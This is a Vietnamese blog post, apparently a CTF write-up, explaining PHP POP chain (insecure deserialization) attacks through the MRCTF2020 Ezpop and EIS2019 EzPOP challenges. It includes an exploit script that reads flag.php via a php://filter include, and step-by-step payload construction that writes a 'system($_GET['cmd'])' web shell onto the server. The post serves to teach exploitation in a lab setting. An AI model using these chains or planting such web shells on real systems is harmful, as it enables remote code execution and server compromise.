Home PHP POP Chain
Post
Cancel
pop chain logo

PHP POP Chain

Ở post này mình sẽ viết về cách khai thác PHP POP Chain mà mình học được qua các bài CTF.

PHP POP Chain còn được gọi là Code Reuse Attack là một kĩ thuật hoạt động dựa trên việc sử dụng các đoạn code có sẵn (gadget) và liên kết (chain) chúng lại với nhau để làm thay đổi luồng thực thi của chương trình theo ý muốn của attacker.

Thường thì kĩ thuật này sẽ được áp dụng khi một serialized object được đưa vào hàm unserialize() và sử dụng đồng thời các magic methods để chain gadgets lại với nhau.

pop chain step pop chain step

1. Ezpop - mrctf2020

https://buuoj.cn/challenges#[MRCTF2020]Ezpop

Overview

overview overview

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

Phân tích

pop get param sẽ được unserialize nếu được gửi đến server. Lướt lên trên ta thấy class Show có khai báo một magic methods là __wakeup -> đây là first gadget. Class Modifier có chứa một method đặc biệt __invoke - “The __invoke() method is called when a script tries to call an object as a function.” -> dùng hàm này để include flag.php -> last gadget.

Mình sẽ lợi dụng __toString__wakeup của class Show. Hàm preg_match sử dụng $this->source làm tham số thứ 2 vì vậy nếu gán source = new Show() thì sẽ trigger được __toString

Tiếp tục hàm __toString gọi đến $this->str->source suy ra nếu ta gán str = new Test() thì sẽ tương đương với new Test()->source -> trigger __get của class Test. Tới đây muốn chain tới gadget cuối thì cần gán p = new Modifier() và ở Modifier gán cho var='php://filter/convert.base64-encode/resource=flag.php' là xong.

Khai thác

exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class Modifier {
    protected $var = 'php://filter/convert.base64-encode/resource=flag.php';
}


class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}

class Show{
    public $source;
    public $str;

}
$a = new Show();
$a -> source = new Show();
$a -> source -> str = new Test();

echo urlencode(serialize($a));
?>

send payload send payload

flag.php flag.php

flag{9f937575-162d-4d4b-8030-c8859c08ac19}


2. EzPOP - EIS2019

https://buuoj.cn/challenges#[EIS%202019]EzPOP

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // Failed to create
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            // data compression
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

Phân tích

Thoạt nhìn vào đoạn code này thì mình phát hiện một thứ khá thú vị file_put_contents xuất hiện ở class B trong hàm set(), hàm này thực hiện việc ghi $data vào $filename => có thể tận dụng để ghi một php shell trên server 😋. Ta sẽ cùng truy ngược lại các giá trị liên quan tới chúng.

  • filename: được gán bằng $this->getCacheKey($name) với $name là tham số truyền vào và được prepend với một giá trị trong options['prefix'] của class.
    1
    2
    3
    
      public function getCacheKey(string $name): string {
          return $this->options['prefix'] . $name;
      }
    
  • data: được gán bằng $this->serialize($value) với $value là tham số truyền vào và $serialize lấy từ một giá trị trong options['serialize'] của class.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
      protected function serialize($data): string {
          if (is_numeric($data)) {
              return (string) $data;
          }
    
          $serialize = $this->options['serialize'];
    
          return $serialize($data);
      }
    
  • expire: được gán bằng $this->getExpireTime($expire); với $expire là tham số truyền vào
    1
    2
    3
    
      protected function getExpireTime($expire): int {
          return (int) $expire;
      }
    

Nhưng ở đây nảy sinh ra một vấn đề 🤔, vì $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $data truyền vào mặc dù là một “User-Controllable Input” nhưng bởi vì được append vào cuối chuỗi nên khi thực thi shell thì sẽ thoát do exit(). Đây là một bài post hay về các cách bypass hàm này và mình sẽ làm theo cách base64 decode.

Đến đây ta biết được last gadget sẽ là method set() của class B vậy class A sẽ làm nhiệm vụ chain tới B. Nhìn lại source thì mình phát hiện được magic method __destruct gọi tới save() ở trong save() gọi $this->store->set($this->key, $contents, $this->expire); => cần gán store = new class B(). Và $key, $content, $expire sẽ ứng với $name, $value, $expire

  • key = “shell.php”
  • expire gán đại bằng “bla”.
  • content được gán bằng return value của $this->getForStorage();, mình sẽ contruct sao cho getForStorage() trả về [[],"PD9jdWMgY3VjdmFzYigpOz8+"]
    • $cache = array();
    • $complete = base64_encode("xxx".base64_encode('<?php system($_GET[\'cmd\'])?>')); ở đây cần thêm vào trước 3 kí tự bởi vì <?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n sẽ biến thành php//000000000000exit khi dùng php wrapper -> length = 21, mà một nhóm chứa 4 kí tự base64 sẽ được decode thành 3 bytes nên ta phải thêm 3 bytes xxx vào trước để tránh làm “hỏng” web shell.

Sau cùng $value="W1tdLCJQRDl3YUhBZ2MzbHpkR1Z0S0NSZlIwVlVXeWRqYldRblhTa1wvUGc9PSJd" nên ở đoạn code $data = $this->serialize($value); cần base64 decode trở lại và $data sẽ bằng [[],"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk\/Pg=="] -> $this->options['serialize'] = "base64_decode". Lần decode cuối cùng là lúc ghi vào file shell.php dùng php wrapper và lưu ý các kí tự không hợp lệ sẽ bị bỏ qua.

Cuối cùng để ghi thành công một php shell lên server chỉ cần set $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=' 🤗

Khai thác

Kết quả: result result

flag{94d92ddd-e935-46d4-93ef-f4fb272bd81c}

Tài liệu tham khảo

https://websec.files.wordpress.com/2010/11/rips_ccs.pdf

https://vickieli.dev/insecure%20deserialization/pop-chains/

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

This post is licensed under CC BY 4.0 by the author.

CrewCTF 2022

NahamconCTF 2022